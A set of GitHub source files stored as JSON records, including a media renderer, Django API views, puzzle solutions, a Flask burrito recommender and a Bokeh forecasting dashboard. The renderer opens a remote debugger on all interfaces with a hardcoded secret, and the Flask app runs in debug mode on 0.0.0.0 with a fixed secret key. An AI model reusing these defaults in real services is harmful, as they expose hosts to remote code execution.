with open(kwargs['config'], 'rt') as config_filehandle:\r\n config = json.load(config_filehandle)\r\n kwargs = {k: v if v is not None else config.get(k) for k, v in kwargs.items()}\r\n kwargs.update({k: v for k, v in config.items() if k not in kwargs})\r\n\r\n # Format strings\r\n for key, value in kwargs.items():\r\n if isinstance(value, str):\r\n kwargs[key] = value.format(**kwargs)\r\n\r\n return kwargs\r\n\r\n\r\n# Main -------------------------------------------------------------------------\r\n\r\ndef main(**kwargs):\r\n from mediaTimelineRendererLib.filescan import process_folder, watch_folder\r\n process_folder(**kwargs)\r\n if kwargs['daemon_scan_interval_seconds']:\r\n watch_folder(**kwargs)\r\n\r\nif __name__ == \"__main__\":\r\n kwargs = get_args()\r\n logging.basicConfig(level=kwargs['log_level'])\r\n\r\n if kwargs.get('vscode_debugger_port'):\r\n import ptvsd\r\n ptvsd.enable_attach(\"my_secret\", address=('0.0.0.0', kwargs.get('vscode_debugger_port')))\r\n #ptvsd.wait_for_attach()\r\n\r\n def launch():\r\n main(**kwargs)\r\n if kwargs.get('postmortem'):\r\n postmortem(launch)\r\n else:\r\n launch()\r\n","repo_name":"superLimitBreak/mediaTimelineRenderer","sub_path":"mediaTimelineRenderer.py","file_name":"mediaTimelineRenderer.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6022781193","text":"import requests\nfrom rest_framework import status\nfrom django.shortcuts import render\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom .serializers import BookCommentSerializer\nfrom . models import BookComment\n\n\n@api_view(['GET', ])\ndef get_name_authors_comments(request):\n url = \"https://www.anapioficeandfire.com/api/books\"\n final_data = []\n # make request to get books data\n data = requests.get(url)\n # check if response status code == 200\n if data.status_code == status.HTTP_200_OK:\n # convert data into json format\n json_data = data.json()\n # filter the data\n for i in json_data:\n item = {}\n item['name'] = i['name']\n item['authors'] = i['authors']\n item['comment_count'] = len(i['povCharacters'])\n item['released'] = i['released']\n final_data.append(item)\n final_data.sort(key=lambda item: item['released'], reverse=False)\n return Response(final_data, status=status.HTTP_200_OK)\n # if response != 200 return error message + request failed status code\n else:\n item = {}\n item['message'] = 'request failed'\n return Response(item, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET', ])\ndef get_character_list(request, id):\n # get character list\n context = {}\n # pass the book id into the url\n url = f\"https://www.anapioficeandfire.com/api/books/{id}\"\n data = requests.get(url)\n if data.status_code == status.HTTP_200_OK:\n # GET the book characters\n book_characters = data.json()[\"characters\"]\n context[\"characters\"] = book_characters\n return Response(context, status=status.HTTP_200_OK)\n else:\n # return error message and 400 error message if there is an error\n context[\"message\"] = \"Error\"\n return Response(context, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST', ])\ndef add_get_comment(request, id):\n # get character list\n context = {}\n # pass the book id into the url\n url = f\"https://www.anapioficeandfire.com/api/books/{id}\"\n data = requests.get(url)\n if data.status_code == status.HTTP_200_OK:\n book_data = request.data\n book_data['id'] = id\n serializer = BookCommentSerializer(data=book_data)\n list_characters = data.json()['povCharacters']\n # check if serializer is valid\n if serializer.is_valid():\n # save data if valid and return it as response\n serializer.save()\n saved_data_query = BookComment.objects.filter(id=id)\n serialized_data = BookCommentSerializer(\n saved_data_query, many=True)\n for item in serialized_data.data:\n list_characters.append(item['comment'])\n context['comment_count'] = len(list_characters)\n context['book_id'] = id\n context['comments'] = list_characters\n return Response(context, status=status.HTTP_200_OK)\n else:\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n else:\n # return error message and 400 error message if there is an error\n context[\"message\"] = \"Error\"\n return Response(context, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"kamula/top_up_mama","sub_path":"books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73875416693","text":"from dataclasses import dataclass\n\nfrom aocd import get_data\n\ndata = get_data(day=7, year=2022)\ndata = data.splitlines()\n\nTOTAL_SIZE = 70000000\nMINIMUM_SIZE = 30000000\ncandidateSizes = []\n\n\nclass Directory:\n def __init__(self, parent=None):\n self.items = {}\n self.totalSize = 0\n self.parent = parent\n pass\n\n def addItem(self, name, item):\n self.items[name] = item\n\n def calculateSize(self):\n global candidateSizes\n for key, value in self.items.items():\n if (isinstance(value, Directory)):\n value.calculateSize()\n candidateSizes.append(value.totalSize)\n self.totalSize += value.totalSize\n else:\n self.totalSize += int(value)\n\n\nroot = Directory()\ncurrent = root\ndel data[0]\n\nfor index, line in enumerate(data):\n if (line.startswith(\"$\")):\n command = line.lstrip(\"$ \").split(\" \")\n if (command[0] == \"cd\"):\n if (command[1] == \"..\"):\n current = current.parent\n else:\n current = current.items[command[1]]\n else:\n file = line.split(\" \")\n if (file[0] == \"dir\"):\n current.addItem(file[1], Directory(current))\n else:\n current.addItem(file[1], file[0])\n\nroot.calculateSize()\nminimumPossible = MINIMUM_SIZE - (TOTAL_SIZE - root.totalSize)\ncandidateSizes = list(filter(lambda x: (x >= minimumPossible), candidateSizes))\ncandidateSizes.sort()\nprint(candidateSizes[0])\n","repo_name":"arbyys/advent-of-code-2022","sub_path":"day7/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18499173350","text":"def NumberToSymbol(index): # definiere Funktion, die Zahlen in Buchstaben übersetzt\n if index == 0:\n return \"A\"\n elif index == 1:\n return \"C\"\n elif index == 2:\n return \"G\"\n elif index == 3:\n return \"T\"\n else:\n return ' '\n\ndef NumberToPattern(index, k): # definiere rekursive Funtkion, die den Index teilt\n if k==1: # und NumberToSymbol zum Rest addiert\n return NumberToSymbol(index)\n \n return NumberToPattern(index // 4, k-1) + NumberToSymbol(index % 4)\n\n\nindex = 5353\nk = 7\nprint(NumberToPattern(index, k))\n","repo_name":"joboettger/Bioinfo","sub_path":"assignment2/BA1M Implement NumberToPattern.py","file_name":"BA1M Implement NumberToPattern.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4698149872","text":"import os\nimport argparse\nfrom repli1d.expeData import replication_data\nimport numpy as np\nimport pandas as pd\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--file', type=str, default=\"\")\nparser.add_argument('--root', type=str, default=\"\")\nparser.add_argument('--output', type=str, default=\"\")\nparser.add_argument('--globalonly', action=\"store_true\")\nparser.add_argument('--resolution', type=int,default=1)\nparser.add_argument('--indexfile', type=str,default=None)\n\n\n\n\nargs = parser.parse_args()\n\n\nif args.indexfile is None:\n try:\n import pyBigWig\n\n cell = pyBigWig.open(args.file)\n chroms = cell.chroms()\n print(chroms)\n except:\n chroms = [248956422, 242193529, 198295559, 190214555, 181538259,\n 170805979, 159345973, 145138636, 138394717,\n 133797422, 135086622, 133275309, 114364328, 107043718,\n 101991189, 90338345, 83257441,\n 80373285, 58617616, 64444167, 46709983, 50818468]\nelse:\n chromsf = pd.read_csv(args.indexfile,sep=\"\\t\")\n lch = []\n for ch in chromsf.chrom:\n if ch not in lch:\n lch.append(ch)\n\n chroms = [sum(chromsf.chrom==ch) * args.resolution * 1000 for ch in lch] # The size is already at the resolution\n\n\n\n#os.makedirs(args.root, exist_ok=True)\n\ndata = []\nX = []\nfor ch in range(1,len(chroms)+1):\n\n if type(chroms) == list:\n end = chroms[ch-1]\n end=int(end / 1000)\n else:\n end = None\n print(ch,end)\n x, y = replication_data(\"hela\", args.file, filename=args.file,\n chromosome=ch, start=0, end=end, resolution=args.resolution)\n data.append(y)\n\n\nX = [[\"chr%i\" % i] * len(d) for i, d in enumerate(data, 1)]\nPos = [range(0, len(d) * args.resolution * 1000, args.resolution * 1000) for i, d in enumerate(data, 1)]\nX = np.concatenate(X).tolist()\nPos = np.concatenate(Pos).tolist()\n\ndata = np.concatenate(data, axis=0)\n\nif not args.globalonly:\n pd.DataFrame({\"chrom\":X, \"chromStart\":Pos,\"chromEnd\":Pos}).to_csv(args.output+\"index\",sep=\"\\t\",index=False)\n\n pd.DataFrame({\"signalValue\":data}).to_csv(args.output,sep=\"\\t\",index=False)\n\npd.DataFrame({\"chrom\":X, \"chromStart\":np.array(Pos),\"chromEnd\":np.array(Pos) ,\"signalValue\":data}).to_csv(args.output[:-4]+\"wh.csv\",sep=\"\\t\",index=False)\n","repo_name":"organic-chemistry/repli1D","sub_path":"src/repli1d/convert_Bw_to_csv.py","file_name":"convert_Bw_to_csv.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"74386091251","text":"from flask import Flask, render_template, request\nfrom flask_wtf import Form\nfrom wtforms import SelectField, SubmitField\nimport numpy as np\nimport pandas as pd\nimport pickle\n\n\ndef titleize_burrito_row(i, pd_row):\n b_type = pd_row[0].strip().title()\n b_vendor = pd_row[1].strip()\n b_cost = pd_row[8]\n title = \"#{i} {b_vendor} Burrito @ {b_type}(${b_cost})\"\n if len(title) > 20:\n split = title.split(\"@\")\n title = \"\\n\".join(split)\n return f\"#{i} {b_vendor} Burrito @ {b_type}(${b_cost})\"\n\n\napp = Flask(__name__)\napp.vars = {}\napp.secret_key = \"development key\"\n\napp.vars[\"df_complete\"] = pickle.load(open(\"clean-burrito-pandas.pkl\", \"rb\"))\nfeatures = [\n \"Chips_1h\",\n \"Beef_1h\",\n \"Pico_1h\",\n \"Guac_1h\",\n \"Cheese_1h\",\n \"Fries_1h\",\n \"Sour cream_1h\",\n \"Pork_1h\",\n \"Chicken_1h\",\n \"Shrimp_1h\",\n \"Fish_1h\",\n \"Rice_1h\",\n \"Beans_1h\",\n \"Lettuce_1h\",\n \"Tomato_1h\",\n \"Bell peper_1h\",\n \"Carrots_1h\",\n \"Cabbage_1h\",\n \"Sauce_1h\",\n \"Salsa.1_1h\",\n \"Cilantro_1h\",\n \"Onion_1h\",\n \"Taquito_1h\",\n \"Pineapple_1h\",\n \"Ham_1h\",\n \"Chile relleno_1h\",\n \"Nopales_1h\",\n \"Lobster_1h\",\n \"Queso_1h\",\n \"Egg_1h\",\n \"Mushroom_1h\",\n \"Bacon_1h\",\n \"Sushi_1h\",\n \"Avocado_1h\",\n \"Corn_1h\",\n \"Zucchini_1h\",\n \"Cost\",\n \"Yelp\",\n \"Google\",\n]\napp.vars[\"df_features\"] = app.vars[\"df_complete\"][features]\napp.vars[\"knn\"] = pickle.load(open(\"k-nearest-burritos.pkl\", \"rb\"))\n\napp.vars[\"burrito_titles\"] = [\n titleize_burrito_row(idx, row) for idx, row in app.vars[\"df_complete\"].iterrows()\n]\n\n\nclass Burrito_Picker(Form):\n pick = SelectField(\n \"user_choice\",\n choices=[(idx, title) for idx, title in enumerate(app.vars[\"burrito_titles\"])],\n )\n submit = SubmitField(\"Confirm\")\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef index():\n burrito_picker = Burrito_Picker()\n if request.method == \"GET\":\n return render_template(\n \"index.html\",\n burrito_picker=burrito_picker,\n burrito_list=app.vars[\"burrito_titles\"],\n )\n\n else:\n query_index = request.values[\"pick\"]\n predictions = app.vars[\"knn\"].kneighbors(\n app.vars[\"df_features\"].iloc[[query_index]]\n )\n scores = predictions[0][0] # unpack the goofy predictions output\n neighbors = predictions[1][0] # two lines are easier to read after linting\n\n neighbors_results = []\n for neighbor in neighbors:\n neighbor_text = titleize_burrito_row(\n neighbor, app.vars[\"df_complete\"].iloc[neighbor]\n )\n neighbors_results.append(neighbor_text)\n\n neighbor_reports = []\n for neighbor_result, score in zip(neighbors_results, scores):\n similarity = (1 - score) * 100\n neighbor_reports.append(f\" {similarity:.2f}% match - {neighbor_result}\")\n\n return render_template(\n \"index.html\",\n burrito_picker=burrito_picker,\n burrito_list=app.vars[\"burrito_titles\"],\n neighbors=neighbor_reports, # TODO: make formatting better\n )\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=33507, debug=True)\n","repo_name":"BenDavidAaron/hello-burrito-web","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"4128526232","text":"import socket\n\nHOST = 'localhost' # Adresse IP du serveur\nPORT = 5000 # Port d'écoute du serveur\n\n# Création d'un objet socket pour le client\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:\n # Connexion au serveur\n client_socket.connect((HOST, PORT))\n\n while True:\n # Saisie du message à envoyer\n message = input('Message : ')\n\n # Envoi du message au serveur\n client_socket.sendall(message.encode())\n\n # Réception de la réponse du serveur\n reponse = client_socket.recv(1024).decode()\n print(f'Reponse : {reponse}')\n","repo_name":"ViTj4/ping-pong-sockets-python","sub_path":"client/client-ping-pong.py","file_name":"client-ping-pong.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25370501360","text":"# -*- coding: utf-8 -*-\n\"\"\"\nUsed to parse all store file formats\n@author: Avi\n\"\"\"\nimport os\nimport shutil\nfrom il_supermarket_scarper.main import ScarpingTask\nfrom il_supermarket_scarper.scrappers_factory import ScraperFactory\nfrom il_supermarket_scarper.utils.file_types import FileTypesFilters\nfrom il_supermarket_scarper.utils import Logger\nfrom tools import save_conf, load_conf\nfrom .xml_parser import get_root\n\ndef save_store_conf(chain_name, encoding, name_dict, ignore_dict, ignore_file):\n \"\"\"save store configuration\"\"\"\n conf_path = f'conf/{chain_name}Store.json'\n data = {\n \"encoding\": encoding,\n \"nameDict\":name_dict,\n \"ignore\":ignore_dict,\n \"ignoreFile\":ignore_file\n }\n save_conf(conf_path, data)\n return conf_path\n\ndef generate_store_dictionary():\n \"\"\"generate store dictionary for xml that contains upercase names\"\"\"\n return {'SubChainID':'SubChainID', 'ChainID':'ChainID','LastUpdateDate':'LastUpdateDate',\n 'StoreID':'StoreID', 'BikoretNo':'BikoretNo','StoreType':'StoreType',\n 'StoreName':'StoreName','Address':'Address', 'City':'City' , 'ZIPCode':'ZipCode'}\n\ndef generate_store_dictionary_lower_case():\n \"\"\"generate store dictionary for xml that contains lower names\"\"\"\n return {'SubChainId':'SubChainID', 'ChainId':'ChainID','LastUpdateDate':'LastUpdateDate',\n 'StoreId':'StoreID', 'BikoretNo':'BikoretNo','StoreType':'StoreType',\n 'StoreName':'StoreName','Address':'Address', 'City':'City' , 'ZipCode':'ZipCode'}\n\ndef get_store_conf_path(chain_name):\n \"\"\"get store configuration path\"\"\"\n return f'conf/{chain_name}Store.json'\n\ndef analyse_store(conf, file, stores_data, provider_name):\n \"\"\"analyse store using given configuration path\"\"\"\n root = get_root(file, conf['encoding'])\n store_data = {'ProviderName':provider_name}\n store_count = analyse_store_xml(root, store_data, conf['nameDict'], conf['ignore'], stores_data)\n return store_count\n\ndef analyse_store_xml(root, tag_dict, tag_name_dict, ignore, stores_data):\n \"\"\"analyse store by going through the xml\"\"\"\n if root is None:\n return 0\n\n have_store_id = False\n store_count = 0\n\n for child in root.getchildren():\n if len(child.getchildren()) > 0:\n store_count += analyse_store_xml(child, tag_dict, tag_name_dict, ignore, stores_data)\n else:\n if child.tag in ignore:\n continue\n tag_name = tag_name_dict[child.tag]\n #print(tag_name, child.tag, child.text)\n tag_dict[tag_name] = child.text\n if tag_name == 'StoreID':\n have_store_id = True\n #print(\"\")\n\n if have_store_id:\n key = f'{tag_dict[\"ChainID\"]}_{tag_dict[\"SubChainID\"]}_{tag_dict[\"StoreID\"]}'\n stores_data[key] = tag_dict.copy()\n store_count += 1\n return store_count\n\ndef analyse_store_folder(folder_path, chain_name, stores_data):\n \"\"\"returns store count inside the chain name\"\"\"\n total_stores = 0\n conf_path = get_store_conf_path(chain_name)\n if os.path.isfile(conf_path):\n store_conf = load_conf(conf_path)\n for file in os.listdir(folder_path):\n if store_conf['ignoreFile'] in file:\n Logger.info(f'ignored file {file}')\n else:\n full_path = os.path.join(folder_path, file)\n store_count = analyse_store(store_conf, full_path, stores_data, chain_name)\n total_stores += store_count\n Logger.info(f'analysing {full_path} stores:{store_count}')\n else:\n Logger.info(f'skipping {chain_name}')\n return total_stores\n\ndef clean_city_name(city_name):\n \"\"\"clean city name\"\"\"\n if not city_name:\n return 'None'\n return city_name.replace('-',' ')\n\ndef download_all_stores(progress_bar=None, force=False):\n \"\"\"create unified store data inside all_stores.json\"\"\"\n all_stores_path = 'conf/all_stores.json'\n if os.path.isfile(all_stores_path) and not force:\n stores_data = load_conf(all_stores_path)\n if progress_bar:\n progress_bar.value = progress_bar.max\n return stores_data\n\n output_folder = \"data_stores\"\n for scrapper in ScraperFactory:\n ScarpingTask(dump_folder_name=output_folder, only_latest=True,\n files_types=[FileTypesFilters.STORE_FILE.name],\n enabled_scrapers=[scrapper],\n lookup_in_db=False).start()\n scrapper_imp = ScraperFactory.get(scrapper)(output_folder)\n if len(os.listdir(scrapper_imp.get_storage_path()))==0:\n ScarpingTask(dump_folder_name=output_folder, only_latest=False,\n files_types=[FileTypesFilters.STORE_FILE.name],\n enabled_scrapers=[scrapper],\n lookup_in_db=False).start()\n\n if progress_bar:\n progress_bar.value += 1\n\n all_scrapers = ScraperFactory.all_scrapers()\n scrappers = [s(output_folder) for s in all_scrapers]\n stores_data = {}\n total_stores = 0\n for scrapper in scrappers:\n total_stores += analyse_store_folder(scrapper.get_storage_path(),\n scrapper.chain, stores_data)\n save_conf(all_stores_path, stores_data)\n shutil.rmtree(output_folder)\n return stores_data\n\ndef get_city_stat(progress_bar=None):\n \"\"\"get statistics of stores count per city name\"\"\"\n stores_data = download_all_stores(progress_bar)\n city_stat = {}\n city_name_correction = load_conf('conf/city_name_correction.json')\n #save_conf('conf/city_name_correction.json', city_name_correction)\n\n for key in stores_data:\n city_name_temp = stores_data[key]['City']\n city_name_temp = clean_city_name(city_name_temp)\n city_name = city_name_correction.get(city_name_temp, city_name_temp)\n city_stat[city_name] = city_stat.get(city_name, 0) + 1\n #city_stat_sorter = sorted(city_stat.items(), key=lambda x:x[1])\n return city_stat\n","repo_name":"AKorets/israeli-supermarket-data","sub_path":"parsers/store_parser.py","file_name":"store_parser.py","file_ext":"py","file_size_in_byte":6155,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"23873774520","text":"\"\"\"UI constants and variables.\"\"\"\n\nfrom base.color import Color\n\n\nclass UiConfig:\n \"\"\"\n The base class for UI variables.\n\n UI contains variables for:\n * screen dimensions\n * volume levels\n * color assignments\n\n UI does NOT contain variables for:\n * button mapping\n * color assignments\n \"\"\"\n\n SCREEN_WIDTH = 800\n SCREEN_HEIGHT = 600\n\n BANNER_TEXT_COLOR = Color.White\n\n\nUI = UiConfig()\n","repo_name":"andrewtremblay/platform-mechanics","sub_path":"src/configs/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14370720062","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef autolabel(rects, ax):\n for rect in rects:\n height = rect.get_height()\n ax.text(rect.get_x() + rect.get_width()/2., 1.05*height, height, ha='center', va='bottom') \n\ndef show(result):\n\tfig = plt.figure(1)\n\n\talgorithm_names = []\n\tfeature_names = ['Count', 'TF-IDF'] \n\tfor algo in result['algorithms']:\n\t\talgorithm_names.append(result['algorithms'][algo]['display_name'])\t\n\n\tN = len(result['algorithms'])\n\tind = np.arange(N) \n\twidth = .20\n\n\tax_1 = fig.add_subplot(211)\n\n\tcount_vectors = []\n\tfor algo in result['algorithms']:\n\t\tcount_vectors.append(result['algorithms'][algo]['verification_methods']['split']['feature_vectors']['count']['value']) \n\n\trects1 = ax_1.bar(ind, count_vectors, width, color='b')\n\n\ttf_idf_vectors = []\n\tfor algo in result['algorithms']:\n\t\ttf_idf_vectors.append(result['algorithms'][algo]['verification_methods']['split']['feature_vectors']['tf-idf']['value'])\n\n\trects2 = ax_1.bar(ind + width, tf_idf_vectors, width, color='g')\n\n\tax_1.set_ylabel('Accuracy')\n\t# ax_1.set_xlabel('Algotithms grouped by feature of data')\n\tax_1.set_title('Accuracy using split verification')\n\tax_1.set_xticks(ind + width / 2)\n\tax_1.set_xticklabels(algorithm_names)\n\n\tax_1.legend((rects1[0], rects2[0]), feature_names)\n\n\tautolabel(rects1, ax_1)\n\tautolabel(rects2, ax_1)\n\t\n\tax_2 = fig.add_subplot(212)\n\n\tcount_vectors = []\n\tfor algo in result['algorithms']:\n\t\tcount_vectors.append(round(result['algorithms'][algo]['verification_methods']['cross']['feature_vectors']['count']['value'], 4)) \n\n\trects1 = ax_2.bar(ind, count_vectors, width, color='b')\n\n\ttf_idf_vectors = []\n\tfor algo in result['algorithms']:\n\t\ttf_idf_vectors.append(round(result['algorithms'][algo]['verification_methods']['cross']['feature_vectors']['tf-idf']['value'], 4))\n\n\trects2 = ax_2.bar(ind + width, tf_idf_vectors, width, color='g')\n\n\tax_2.set_ylabel('Accuracy')\n\t# ax_2.set_xlabel('Algotithms grouped by feature of data')\n\tax_2.set_title('Accuracy using cross verification')\n\tax_2.set_xticks(ind + width / 2)\n\tax_2.set_xticklabels(algorithm_names)\n\n\tax_2.legend((rects1[0], rects2[0]), feature_names)\n\n\tautolabel(rects1, ax_2)\n\tautolabel(rects2, ax_2)\n\n\tplt.show()\n","repo_name":"amahadi/minEval","sub_path":"app/paradigms/verification/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39109861974","text":"from __future__ import absolute_import\n\nimport os\nimport logging\nfrom math import pi\nfrom bokeh.layouts import layout, column, row\nfrom bokeh.models import (ColumnDataSource, DataRange1d, DatetimeTickFormatter, Button, DatePicker, Select)\nfrom bokeh.themes import Theme\nfrom bokeh.plotting import figure\nfrom jinja2 import Environment, FileSystemLoader\nfrom distributed.dashboard.components.shared import (DashboardComponent)\nfrom distributed.dashboard.utils import (without_property_validation, update)\nfrom distributed.utils import log_errors\nfrom datetime import datetime, timedelta, date\nimport numpy as np\n\n\nfrom adit.processor import LSTMModel\nfrom adit.controllers import EventLoopController, TileDBController\nfrom adit.dashboard.cache import ModelPerformanceCache\n\nenv = Environment(\n loader=FileSystemLoader(\n os.path.join(os.path.dirname(__file__), \"..\", \"templates\")\n )\n)\n\nlogger = logging.getLogger(__name__)\n\nBOKEH_THEME = Theme(os.path.join(os.path.dirname(__file__), \"..\", \"themes\", \"default.yaml\"))\n\n__all__ = ['modelperformance_doc']\n\n\nclass ModelPerformanceDashboard(DashboardComponent):\n _DEFAULT_PAIRS = ['EURUSD', 'USDJPY', 'EURJPY']\n\n def __init__(self, worker, height=200, **kwargs):\n self.logger = logging.getLogger(self.__class__.__name__)\n self.logger.debug(\"Initialize ModelPerformanceDashboard\")\n\n self.pairs = self._DEFAULT_PAIRS\n self.cache = ModelPerformanceCache.instance()\n\n self.loss_function = \"mse\"\n self.model = LSTMModel(loss=self.loss_function)\n self.evl = EventLoopController.instance()\n self.evl_loop = self.evl.get_loop()\n self.tiledb = TileDBController.instance()\n\n self.pair_select = Select(title=\"CCY Pair:\", value=self.pairs[0], options=self.pairs, sizing_mode=\"stretch_width\", height=50)\n\n self.train_btn = Button(label=\"Train/Test Model\", button_type=\"success\", height=50)\n self.train_btn.on_click(self._train_btn_on_click)\n\n self.train_from_datepk = DatePicker(title=\"From Date\", min_date=date(2000, 1, 1),\n max_date=(datetime.now() + timedelta(days=7)).date(),\n value=(datetime.now() - timedelta(days=30)).date(), height=50)\n\n self.train_to_datepk = DatePicker(title=\"To Date\", min_date=date(2000, 1, 1),\n max_date=(datetime.now() + timedelta(days=7)).date(),\n value=date.today(), height=50)\n\n self.predict_btn = Button(label=\"Predict\", button_type=\"success\", height=50)\n self.predict_btn.on_click(self._predict_btn_on_click)\n\n self.predict_from_datepk = DatePicker(title=\"From Date\", min_date=date(2000, 1, 1),\n max_date=(datetime.now() + timedelta(days=7)).date(),\n value=(datetime.now() - timedelta(days=30)).date(), height=50)\n\n self.predict_to_datepk = DatePicker(title=\"To Date\", min_date=date(2000, 1, 1),\n max_date=(datetime.now() + timedelta(days=7)).date(),\n value=date.today(), height=50)\n self.train_source = ColumnDataSource({name: [] for name in ['epoch', 'acc_train', 'acc_test', 'loss_train', 'loss_test']})\n self.predict_source = ColumnDataSource({name: [] for name in ['date', 'actual', 'predict']})\n\n self.acc_figure = figure(\n title=\"Accuracy\",\n height=400,\n output_backend=\"webgl\",\n sizing_mode=\"stretch_width\",\n )\n self.acc_figure.line(source=self.train_source, x=\"epoch\", y=\"acc_train\", color=\"blue\", legend_label='train', line_width=5)\n self.acc_figure.line(source=self.train_source, x=\"epoch\", y=\"acc_test\", color=\"green\", legend_label='test', line_width=5)\n self.acc_figure.legend.location = \"bottom_right\"\n self.acc_figure.legend.click_policy = \"hide\"\n self.acc_figure.legend.background_fill_alpha = 0.0\n self.acc_figure.yaxis.axis_label = \"accuracy\"\n self.acc_figure.xaxis.axis_label = \"Epoch\"\n\n self.loss_figure = figure(\n title=\"Loss\",\n height=400,\n output_backend=\"webgl\",\n sizing_mode=\"stretch_width\",\n )\n self.loss_figure.line(source=self.train_source, x=\"epoch\", y=\"loss_train\", color=\"blue\", legend_label='train', line_width=5)\n self.loss_figure.line(source=self.train_source, x=\"epoch\", y=\"loss_test\", color=\"green\", legend_label='test', line_width=5)\n self.loss_figure.legend.location = \"bottom_right\"\n self.loss_figure.legend.click_policy = \"hide\"\n self.loss_figure.legend.background_fill_alpha = 0.0\n self.loss_figure.yaxis.axis_label = self.loss_function.upper()\n self.loss_figure.xaxis.axis_label = \"Epoch\"\n\n self.pred_figure = figure(\n title=\"Predict/Actual\",\n x_axis_type=\"datetime\",\n height=400,\n x_range=DataRange1d(follow=\"end\", follow_interval=99999999999, range_padding=0),\n y_range=DataRange1d(follow=\"end\", follow_interval=1, range_padding=0.15),\n output_backend=\"webgl\",\n sizing_mode=\"stretch_width\",\n )\n self.pred_figure.line(source=self.predict_source, x=\"date\", y=\"actual\", color=\"blue\", legend_label='actual', line_width=5)\n self.pred_figure.line(source=self.predict_source, x=\"date\", y=\"predict\", color=\"green\", legend_label='predict', line_width=5)\n self.pred_figure.legend.location = \"bottom_right\"\n self.pred_figure.legend.click_policy = \"hide\"\n self.pred_figure.legend.background_fill_alpha = 0.0\n self.pred_figure.yaxis.axis_label = \"EMA Log Return\"\n self.pred_figure.xaxis.axis_label = \"Time\"\n self.pred_figure.xaxis.major_label_orientation = pi / 4\n self.pred_figure.xaxis.formatter = DatetimeTickFormatter(\n microseconds=['%fus'],\n milliseconds=['%3Nms', '%S.%3Ns'],\n seconds=['%H:%M:%S'],\n minsec=['%H:%M:%S'],\n minutes=['%d/%m/%y %H:%M:%S'],\n hourmin=['%d/%m/%y %H:%M:%S'],\n hours=['%d/%m/%y %H:%M:%S'],\n days=['%d/%m/%y %H:%M:%S'],\n months=['%d/%m/%y %H:%M:%S'],\n years=['%d/%m/%y %H:%M:%S'],\n )\n\n kw = {\"sizing_mode\": \"stretch_width\"}\n\n self.layout = layout([\n self.pair_select,\n row(*[self.train_btn, self.train_from_datepk, self.train_to_datepk], **kw),\n row(*[self.predict_btn, self.predict_from_datepk, self.predict_to_datepk], **kw),\n column(*[self.loss_figure, self.pred_figure], **kw)\n ], sizing_mode='stretch_both')\n\n self.root = self.layout\n\n def _train_btn_on_click(self):\n self.logger.debug(f\"Train LSTM model with train ccy pair {self.pair_select.value} data from {self.train_from_datepk.value} to {self.train_to_datepk.value}\")\n selected_pair = self.pair_select.value\n from_ts = np.datetime64(self.train_from_datepk.value)\n to_ts = np.datetime64(self.train_to_datepk.value)\n self.model.train(selected_pair, from_ts, to_ts)\n train_history = self.model.history\n loss_train = train_history.history['loss']\n loss_test = train_history.history['val_loss']\n acc_train = train_history.history[f\"{self.loss_function}\"]\n acc_test = train_history.history[f\"val_{self.loss_function}\"]\n epoch = [i for i in range(0, len(loss_train))]\n new_train_metrics = {\n 'epoch': epoch,\n 'acc_train': acc_train,\n 'acc_test': acc_test,\n 'loss_train': loss_train,\n 'loss_test': loss_test\n }\n update(self.train_source, new_train_metrics)\n\n def _predict_btn_on_click(self):\n self.logger.info(f\"using trained model to predict with ccy pair {self.pair_select.value} data from {self.predict_from_datepk.value} to {self.predict_to_datepk.value}\")\n selected_pair = self.pair_select.value\n from_ts = np.datetime64(self.predict_from_datepk.value)\n to_ts = np.datetime64(self.predict_to_datepk.value)\n next_points_df = self.model.predict(selected_pair, from_ts, to_ts)\n if next_points_df is not None:\n new_points_data = {\n 'date': next_points_df['date'].tolist(),\n 'actual': next_points_df['actual'].tolist(),\n 'predict': next_points_df['predict'].tolist(),\n }\n update(self.predict_source, new_points_data)\n\n @without_property_validation\n def update(self):\n with log_errors():\n self.logger.info(\"update dashboard data source\")\n\n\ndef modelperformance_doc(worker, extra, doc):\n with log_errors():\n datamonitor = ModelPerformanceDashboard(worker, sizing_mode=\"fixed\")\n doc.title = \"Adit: Model Performance\"\n #add_periodic_callback(doc, datamonitor, 1000)\n\n doc.add_root(datamonitor.root)\n doc.template = env.get_template(\"aditdata.html\")\n doc.template_variables.update(extra)\n doc.theme = 